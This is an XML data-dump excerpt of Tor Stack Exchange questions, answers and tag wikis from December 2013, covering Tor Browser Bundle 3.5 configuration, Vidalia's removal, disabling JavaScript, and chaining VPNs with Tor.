  <row Id="1062" PostTypeId="2" ParentId="1060" CreationDate="2013-12-20T15:15:38.377" Score="3" Body="&lt;p&gt;If you are on Ubuntu, then the apparmor policy will prevent writes anywhere but in &lt;code&gt;/var/lib/tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a &lt;code&gt;/var/lib/tor/hidden-services&lt;/code&gt; on my machines; that might work for you too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also modify the apparmor policy, or disable apparmor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: 777 is probably a bad idea.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="71" LastEditDate="2013-12-21T12:53:38.353" LastActivityDate="2013-12-21T12:53:38.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1063" PostTypeId="1" CreationDate="2013-12-20T18:23:43.733" Score="3" ViewCount="421" Body="&lt;p&gt;If I am logged in on a page and will/must use a new identity, the login is lost after the windows are closed and reopened. I cannot make a logout and must log in again. This problem does not exist with vidalia in version 2.x&lt;/p&gt;&#xA;" OwnerUserId="776" LastEditorUserId="923" LastEditDate="2014-07-04T08:43:11.460" LastActivityDate="2014-07-04T08:43:11.460" Title="Tor 3.5 and the Function &quot;New Identity&quot; = Logins are lost" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1064" PostTypeId="2" ParentId="1063" CreationDate="2013-12-20T19:02:19.823" Score="4" Body="&lt;p&gt;This is expected behavior in the TBB; it clears the cookies when you close the window (which is how most sites will store authentication tokens).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only is this expected behavior, it's desirable. If an older version of the TBB did not do this, it was a security flaw because cookies could then be used to correlate your old and new identity in the Tor network (effectively rendering creating a new identity useless).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-12-20T19:02:19.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1065" PostTypeId="1" CreationDate="2013-12-20T20:47:15.800" Score="17" ViewCount="26116" Body="&lt;p&gt;I just got finished a few weeks ago setting up my &lt;code&gt;torrc&lt;/code&gt; to require connections to U.S. ExitNodes. I just used Vidalia to get into the &quot;Tor Configuration File&quot;, and edited that. Worked great. Now I've downloaded the new Tor bundle (3.5) and, whoah, Vidalia is gone, and my ExitNodes are no longer constrained in the same way. This new version of Tor pulls random international ExitNodes. Until I figure out how to change ExitNodes in the new Tor, I'm going to stick with the old one, which still works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gather the new Tor isn't looking at the original &lt;code&gt;torrc&lt;/code&gt;. How, in the new Tor do I access the new configuration file?&lt;/p&gt;&#xA;" OwnerUserId="618" LastEditorUserId="71" LastEditDate="2013-12-23T13:45:07.320" LastActivityDate="2017-01-01T18:31:32.600" Title="What happened to torrc in Tor Browser Bundle?" Tags="|tor-browser-bundle|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1066" PostTypeId="1" CreationDate="2013-12-20T21:31:39.227" Score="11" ViewCount="217244" Body="&lt;p&gt;I've updated to the latest Tor Browser Bundle but the option to turn off JavaScript seems to have disappeared. What is the correct way to turn off JavaScript now? I tried to set &lt;code&gt;JavaScript enabled&lt;/code&gt; to false in &lt;code&gt;about:config&lt;/code&gt; but several sites still report JavaScript is active on my browser. How do I turn it off?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="71" LastEditDate="2013-12-21T12:53:21.510" LastActivityDate="2019-06-22T14:45:16.910" Title="How do I turn JavaScript off in Tor Browser Bundle 3.5?" Tags="|tor-browser-bundle|javascript|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1067" PostTypeId="1" AcceptedAnswerId="1090" CreationDate="2013-12-20T22:28:28.180" Score="6" ViewCount="4237" Body="&lt;p&gt;I'm trying to decide which method is safer, Tor -&gt; VPN or VPN -&gt; Tor.&#xA;Lets suppose both exit nodes are compromised(Tor and VPN). They were set up by the government and it's goal is to spy on users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zhG8D.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhG8D.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first example of this image (Tor -&gt; VPN), the Tor exit node would only see the previous node, and the Entry one(me) would be safe. Right? The VPN would never find out about me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second example, the VPN knows who I really am and that I'm connected to a Tor network. Could they in anyway trace a profile of me and know everything I do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not so worried about reports coming from internet since I will browse &quot;safe websites&quot;(I hope) and either way, my identity is secure.&lt;/p&gt;&#xA;" OwnerUserId="779" LastEditorDisplayName="user8212" LastEditDate="2015-08-25T05:58:28.113" LastActivityDate="2015-08-25T05:58:28.113" Title="Tor -&gt; VPN or VPN -&gt; Tor" Tags="|anonymity|security|vpn|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1068" PostTypeId="2" ParentId="1067" CreationDate="2013-12-20T22:52:16.957" Score="0" Body="&lt;p&gt;Unless you use encrypted links to the final destination, like https, both the exit node and the VPN host have your plaintext traffic in both scenarios. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first scenario, neither of them has your IP. In the second, the VPN host has it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: So yes, if you use unencrypted links, they can see everything you do. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-20T22:52:16.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1069" PostTypeId="2" ParentId="1066" CreationDate="2013-12-20T22:59:00.043" Score="7" Body="&lt;p&gt;Do you have NoScript set to globally forbid all Javascript? NoScript in Tor Browser 3.5 seems to allow scripts by default, so you might want to check if it is overriding your Firefox settings. Click on the NoScript icon on the toolbar and select &quot;Forbid scripts globally&quot;. You might also want to go to the &quot;Options&quot; (in the same menu) and edit the Whitelist section. &lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2013-12-20T22:59:00.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1070" PostTypeId="2" ParentId="876" CreationDate="2013-12-21T00:23:53.213" Score="13" Body="&lt;p&gt;Tor Browser is &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8178&quot;&gt;built without WebRTC support&lt;/a&gt;, since WebRTC can be used to circumvent Tor's proxy settings via &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1230000000545/ch18.html&quot;&gt;ICE over UDP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Firefox, WebRTC support is &lt;a href=&quot;https://support.mozilla.org/en-US/questions/963501&quot;&gt;controlled&lt;/a&gt; by &lt;code&gt;media.peerconnection.enabled&lt;/code&gt; preference, and it's set to &lt;code&gt;false&lt;/code&gt; by default in Tor Browser. But, even enabling this preference would not turn WebRTC on, since the Firefox binary does not contain the functionality.&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="731" LastEditDate="2013-12-21T12:24:33.787" LastActivityDate="2013-12-21T12:24:33.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1071" PostTypeId="1" CreationDate="2013-12-21T00:27:12.773" Score="11" ViewCount="6908" Body="&lt;p&gt;Using the current version (3.5) of the Tor Browser Bundle, how can we switch to a new circuit without losing all tabs and activity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the reason of &quot;New Identity&quot; means everything is closed, for if you wish to change to a new activity completely separated from the former.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not the only reason to want change to a different circuit. Some times we may have to change when a circuit is slow, or if it does not allow certain traffic on policy. To lose all tabs for this is a huge burden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before losing Vidalia we could use this to change circuit easily. Now I cannot find a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="71" LastEditDate="2014-01-04T12:39:21.087" LastActivityDate="2015-12-17T23:55:20.040" Title="How can a new circuit happen without closing all tabs?" Tags="|tor-browser-bundle|circuit|vidalia|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1072" PostTypeId="2" ParentId="1065" CreationDate="2013-12-21T02:27:34.480" Score="12" Body="&lt;p&gt;Tor Browser Bundle uses the &lt;code&gt;Data/Tor/torrc&lt;/code&gt; file inside its own directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#torrc&quot;&gt;Tor Project FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you installed Tor Browser Bundle, look for &lt;code&gt;Data/Tor/torrc&lt;/code&gt; inside&#xA;  your Tor Browser Bundle directory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Core Tor puts the torrc file in &lt;code&gt;/usr/local/etc/tor/torrc&lt;/code&gt; if you&#xA;  compiled Tor from source, and &lt;code&gt;/etc/tor/torrc&lt;/code&gt; or &lt;code&gt;/etc/torrc&lt;/code&gt; if you&#xA;  installed a pre-built package.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should be able to set your exit node country to U.S. by adding the following to &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExitNodes {us}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="923" LastEditDate="2014-07-04T08:30:48.383" LastActivityDate="2014-07-04T08:30:48.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1073" PostTypeId="1" CreationDate="2013-12-21T03:36:31.123" Score="3" ViewCount="1392" Body="&lt;p&gt;I have 2.3.x for OS X 64 bit and recently got a notice to upgrade to 3.5, the only options were Windows and OS X in 32 bit and Linux 32 or 64.  What happened to the 64 bit version of Tor for OS X?  Is it still under development?  How do I get a notice about it added to the download page?&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="610" LastEditDate="2014-01-08T18:09:00.257" LastActivityDate="2014-01-08T18:09:00.257" Title="Why is there no Tor Bundle 3.5 for OS X 64bit?" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1075" PostTypeId="1" AcceptedAnswerId="1106" CreationDate="2013-12-21T05:14:31.450" Score="21" ViewCount="57090" Body="&lt;p&gt;I just updated Tor Browser bundle today. I opened it and was surprised to find no Vidalia control panel. Where did Vidalia go and how do I control the things that Vidalia did (bridges, start and stop Tor, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="923" LastEditDate="2014-07-04T08:43:03.810" LastActivityDate="2016-05-24T19:34:23.347" Title="What happened to Vidalia?" Tags="|tor-browser-bundle|vidalia|update|startup|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1076" PostTypeId="2" ParentId="1075" CreationDate="2013-12-21T06:22:01.347" Score="11" Body="&lt;p&gt;From the Tor Blog's &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-bundle-35-released&quot; rel=&quot;nofollow&quot;&gt;release post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In terms of user-facing changes from TBB 2.x, the 3.x series primarily features the replacement of Vidalia with a Firefox-based Tor controller called Tor Launcher. This has resulted in a vast decrease in startup times, and a vast increase in usability.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Vidalia is still &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;available for download&lt;/a&gt; as Bridge/Relay/Exit bundles on Windows if you just want to use it for relaying and not browsing yourself.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-07-09T17:09:36.717" LastActivityDate="2014-07-09T17:09:36.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1077" PostTypeId="5" CreationDate="2013-12-21T06:39:22.497" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T06:39:22.497" LastActivityDate="2013-12-21T06:39:22.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1078" PostTypeId="4" CreationDate="2013-12-21T06:39:22.497" Score="0" Body="JavaScript is a programming language commonly used for client-side scripting interactive content in web browsers." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-21T12:53:25.447" LastActivityDate="2013-12-21T12:53:25.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1079" PostTypeId="2" ParentId="1066" CreationDate="2013-12-21T12:05:08.220" Score="6" Body="&lt;p&gt;Mozilla &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=873709&quot; rel=&quot;nofollow noreferrer&quot;&gt;removed option to disable JavaScript&lt;/a&gt; in Firefox version 23. Since &#xA;Tor Browser 3.5+ series based on Firefox ESR 24, it shipped without this switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to &lt;a href=&quot;https://tor.stackexchange.com/a/1069/731&quot;&gt;Mike's answer&lt;/a&gt;, you can also consult to &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowserBundle3FAQ#HowdoIdisableJavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;How do I disable JavaScript?&lt;/a&gt; section on &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowserBundle3FAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Bundle 3 FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, setting on &lt;code&gt;javascript.enabled&lt;/code&gt; to false on &lt;code&gt;about:config&lt;/code&gt; should actually disable JavaScript. Could you please check if your preference is stored correctly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also please note that there is a slight possibility that sites report your JavaScript as active could be simply wrong. You can test it on the following sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.isjavascriptenabled.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;isjavascriptenabled.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ipcheck.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;ipcheck.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="731" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-12-21T13:33:42.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1081" PostTypeId="2" ParentId="986" CreationDate="2013-12-21T17:00:30.777" Score="2" Body="&lt;p&gt;You don't say what OS you're using. If you're using Windows, you can just prevent plugins from loading from the Windows registry in the Tor Browser (which is actually Firefox). I have tested this on Windows 7 with the Tor Browser Bundle v. 3.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent the Tor Browser from loading plugins start by typing &lt;code&gt;about:plugins&lt;/code&gt; into the browser to see what plugins you have installed. In this case, you should only see Flash installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, type &lt;code&gt;about:config&lt;/code&gt; into your browser and then set the preference &lt;code&gt;plugin.scan.plid.all&lt;/code&gt; to false. If you check &lt;code&gt;about:plugins&lt;/code&gt; again, you will see that Flash is no longer listed. When you relaunch the Tor Browser, Flash will be gone.  &lt;/p&gt;&#xA;" OwnerUserId="787" LastEditorUserId="71" LastEditDate="2013-12-21T18:49:48.640" LastActivityDate="2013-12-21T18:49:48.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1083" PostTypeId="2" ParentId="1073" CreationDate="2013-12-21T20:48:16.343" Score="3" Body="&lt;p&gt;Currently there is no 64-bit Tor Browser Bundle for OS X. However, the 32-bit version should work fine on 64-bit Intel CPUs and performance should be equivalent to a 64-bit version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 64-bit bit version is planned, but there isn't yet a timescale. See the &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2013-December/031470.html&quot; rel=&quot;nofollow&quot;&gt;message below from Roger Dingledine on tor-talk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Also, I know that for some reason, with the latest version 3.5, the OS X&#xA;    build is only 32-bit. Yes, I know that Erinn has said that they will&#xA;    eventually get around to making 64-bit OS X builds again, but why has this&#xA;    happened in the first place? What broke, or is OS X simply being&#xA;    intentionally neglected?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;&quot;intentionally neglected&quot; is a bit strong. We have not enough packaging&#xA;  people, not enough developers, and way too much to do. If 32-bit works&#xA;  adequately for now I totally understand triaging that and moving on for&#xA;  the release. The main race was to get something out with Firefox 24,&#xA;  since Firefox 17 is no longer supported.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-12-21T20:48:16.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1084" PostTypeId="1" CreationDate="2013-12-21T22:09:35.627" Score="10" ViewCount="17139" Body="&lt;p&gt;I have spend many hours trying to find a browser to browse the internet with Tor on an iPad with iOS 7. I only found one which is &quot;covert browser&quot;. But it seems it is not supported by the Tor project. It does not appear that a Vidalia package exists for iPad either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there Tor or Vidalia for an iPad and where can I find it?&lt;/p&gt;&#xA;" OwnerUserId="788" LastEditorUserId="923" LastEditDate="2014-07-04T14:25:33.310" LastActivityDate="2017-06-16T09:11:29.800" Title="Is there a Tor browser on the iPad with iOS 7?" Tags="|ios|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1085" PostTypeId="1" CreationDate="2013-12-21T22:55:33.593" Score="2" ViewCount="253" Body="&lt;p&gt;I thought I would try monitoring Tor with arm instead of Vidalia, but I keep getting errors. &#xA;I am running Ubuntu 12.04.3 LTS&lt;/p&gt;&#xA;" OwnerUserId="789" LastEditorUserId="923" LastEditDate="2014-07-04T14:28:31.160" LastActivityDate="2014-08-29T07:55:49.390" Title="Does arm work with the version 3.5 of Tor browser bundle?" Tags="|tor-browser-bundle|nyx|ubuntu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1086" PostTypeId="2" ParentId="835" CreationDate="2013-12-22T00:15:21.207" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://opnju4nyz7wbypme.onion/weblog&quot; rel=&quot;nofollow&quot;&gt;Alpha-7-Bravo-Blog (Tor hidden service)&lt;/a&gt; has several interesting pages of html5 video and is always adding more. Most of the content is encoded at 128k/s or 256k/s so the tor network can provide a reasonable transport.&lt;/p&gt;&#xA;" OwnerUserId="790" LastEditorUserId="88" LastEditDate="2013-12-22T13:59:23.650" LastActivityDate="2013-12-22T13:59:23.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1087" PostTypeId="1" CreationDate="2013-12-22T00:28:55.397" Score="2" ViewCount="740" Body="&lt;pre&gt;&lt;code&gt;bash-4.1$ start-vidalia&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./App/vidalia: error while loading shared libraries: libssl.so.1.0.0: cannot open shared object file: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running TBB on slackware 13.37, and the library does not exist (I've done a search across the whole system). Slackware uses openssl instead.&lt;/p&gt;&#xA;" OwnerUserId="790" LastEditorDisplayName="user66" LastEditDate="2014-07-04T08:49:46.923" LastActivityDate="2014-11-15T12:34:48.577" Title="Vidalia standalone with new TBB errors out" Tags="|tor-browser-bundle|vidalia|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1088" PostTypeId="2" ParentId="1087" CreationDate="2013-12-22T00:41:10.880" Score="1" Body="&lt;p&gt;There's no &lt;code&gt;start-vidalia&lt;/code&gt; script in the current version of Tor Browser Bundle, so I don't know what you're running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before doing anything else, &lt;strong&gt;obtain a current copy of Tor Browser Bundle&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#linux&quot; rel=&quot;nofollow&quot;&gt;official instructions&lt;/a&gt; say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To run the Tor Browser Bundle, execute the start-tor-browser script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Trying to start with a different script, even if present, will not work on your older system, as it doesn't have the necessary libraries (which are shipped with TBB instead).&lt;/p&gt;&#xA;" OwnerUserId="201" LastActivityDate="2013-12-22T00:41:10.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1090" PostTypeId="2" ParentId="1067" CreationDate="2013-12-22T02:39:21.460" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;VPN -&gt; Tor -&gt; VPN&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any paranoid tell you &quot;the more, the merrier&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1) VPN -&gt; Tor. ( VPN inside Tor )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have enough skill, you know VPN protocol, you see that it is raw, aggressive protocol, it talks everytime about everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Timing attack.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Provider see your Tor session, crop your connection to uncontrollable nodes, you are going through nodes under control of your provider, your session looks like torrent traffic, raw UDP ( lesser often TCP ). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2) Tor -&gt; VPN ( Tor inside VPN )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your session could look like raw Tor session, nothing changes. Provider will see only encrypted VPN traffic. Beware, there is whisper that &lt;strong&gt;ALL&lt;/strong&gt; VPN protocols are compromised by NSA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, provider will read your VPN traffic plainly. He will see that you use Tor, only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MITM-attack.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, provider collaborate with NSA and sell you. You are marked like a &lt;strong&gt;Tor user&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Imagine such abstract picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;You --&amp;gt; VPN Provider ( Probably listening by NSA) --&amp;gt; Tor --&amp;gt; Proxy ( Any free proxy ) --&amp;gt; VPN Provider( Another one listening by NSA ) --&amp;gt; Tor --&amp;gt; Proxy ( Any free proxy ) --&amp;gt; Target&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NSA read that you get session with &lt;strong&gt;Tor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, NSA read that someone from Free Proxy got session with &lt;strong&gt;Tor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target will see only the Last Proxy as a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Nowadays, you can get 10/100 mb/s for cents. It is paradize for cryptopunks.&#xA;You can wrap 10-100 middle nodes, your bandwidth will be the same 14,400 like it was 10 years ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Partially, the question of &lt;strong&gt;&quot;What should be wrapped into what ?&quot;&lt;/strong&gt; - is a question of gourmet. My answer here: &lt;strong&gt;&quot;As you wish.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="923" LastEditDate="2014-07-04T08:49:56.253" LastActivityDate="2014-07-04T08:49:56.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1091" PostTypeId="2" ParentId="1084" CreationDate="2013-12-22T02:57:27.317" Score="7" Body="&lt;p&gt;You could try &lt;a href=&quot;https://mike.tig.as/onionbrowser/&quot;&gt;Onion Browser&lt;/a&gt;. It's worth noting that this isn't an official release from the Tor Project so there's no guarantee of what you're getting. The source code is available so at least you can review that if you're interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/q/233/71&quot;&gt;this Tor Stack Exchange question&lt;/a&gt; for some discussion.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-23T17:06:22.913" LastActivityDate="2013-12-23T17:06:22.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1092" PostTypeId="1" CreationDate="2013-12-22T04:01:14.383" Score="0" ViewCount="447" Body="&lt;p&gt;Because I don't know too much about how Tor works. I only know that my data goes through various ways or kind of zig-zag way. There isn't any risk in signing in to various websites. Yes?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2013-12-22T17:50:58.750" Title="Is it okay to sign in to websites like Google, Facebook etc. using TorBrower?" Tags="|google|" AnswerCount="2" CommentCount="1" ClosedDate="2014-01-26T23:05:29.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="1093" PostTypeId="2" ParentId="1092" CreationDate="2013-12-22T04:18:18.603" Score="4" Body="&lt;p&gt;It depends on what user data you're entering into that website's forms. If your email address is nevermind@gmail.com, and Google knows that your real name is Bob Smith, and you login to that email account using Tor, then you lose your anonymity. In other words, that target site, gmail.com, now knows exactly who you are, and if the system administrators are recording what you're doing and who you're interacting with, that information is logged and could be reported to third parties. In other words, don't perform any subversive activities if you login to a website that can identify you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you have another account that you created using Tor, one that doesn't contain any of your actual personal data, and that you've never logged into outside of Tor, none of the information you submit can tie back to you personally or to your location. For instance, if I use a fake name to sign up for a yahoo.com account called aywfrzg@yahoo.com and put in only fake data, and I use Tor to login to that account, no one at Yahoo knows who I am, and anyone monitoring traffic won't know what I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to learn more about how Tor works is to check out this &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;Tor and Https diagram from the Electronic Frontier Foundation&lt;/a&gt;. It helped me answer the question of what my ISP and people on my wifi network can see when I'm using Tor.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-12-22T04:18:18.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1095" PostTypeId="5" CreationDate="2013-12-22T04:53:21.257" Score="0" Body="&lt;p&gt;Amazon Elastic Compute Cloud (EC2) is a central part of Amazon.com's cloud computing platform, Amazon Web Services (AWS). EC2 allows users to rent virtual computers on which to run their own computer applications. EC2 allows scalable deployment of applications by providing a Web service through which a user can boot an Amazon Machine Image to create a virtual machine, which Amazon calls an &quot;instance&quot;, containing any software desired. A user can create, launch, and terminate server instances as needed, paying by the hour for active servers, hence the term &quot;elastic&quot;. EC2 provides users with control over the geographical location of instances that allows for latency optimization and high levels of redundancy.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-22T12:27:15.657" LastActivityDate="2013-12-22T12:27:15.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1096" PostTypeId="4" CreationDate="2013-12-22T04:53:21.257" Score="0" Body="Amazon Elastic Compute Cloud (EC2) is a rentable cloud computing platform from Amazon Web Services (AWS)." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-22T12:27:22.830" LastActivityDate="2013-12-22T12:27:22.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1097" PostTypeId="5" CreationDate="2013-12-22T04:54:38.607" Score="0" Body="&lt;h2&gt;About&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/I2P&quot; rel=&quot;nofollow&quot;&gt;I2P&lt;/a&gt; is an overlay network, exposing a simple layer that applications can use to anonymously and securely send messages to each other. I2P routes traffic through a decentralised network of peers to conceal both the sender and recipient from anyone conducting network surveillance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network itself is strictly message based (a la IP/UDP), but there is a library available to allow reliable streaming communication on top of it (a la TCP). All communication is end to end encrypted (in total there are four layers of encryption used when sending a message), and the end points (&quot;destinations&quot;) are cryptographic identifiers (essentially a pair of public 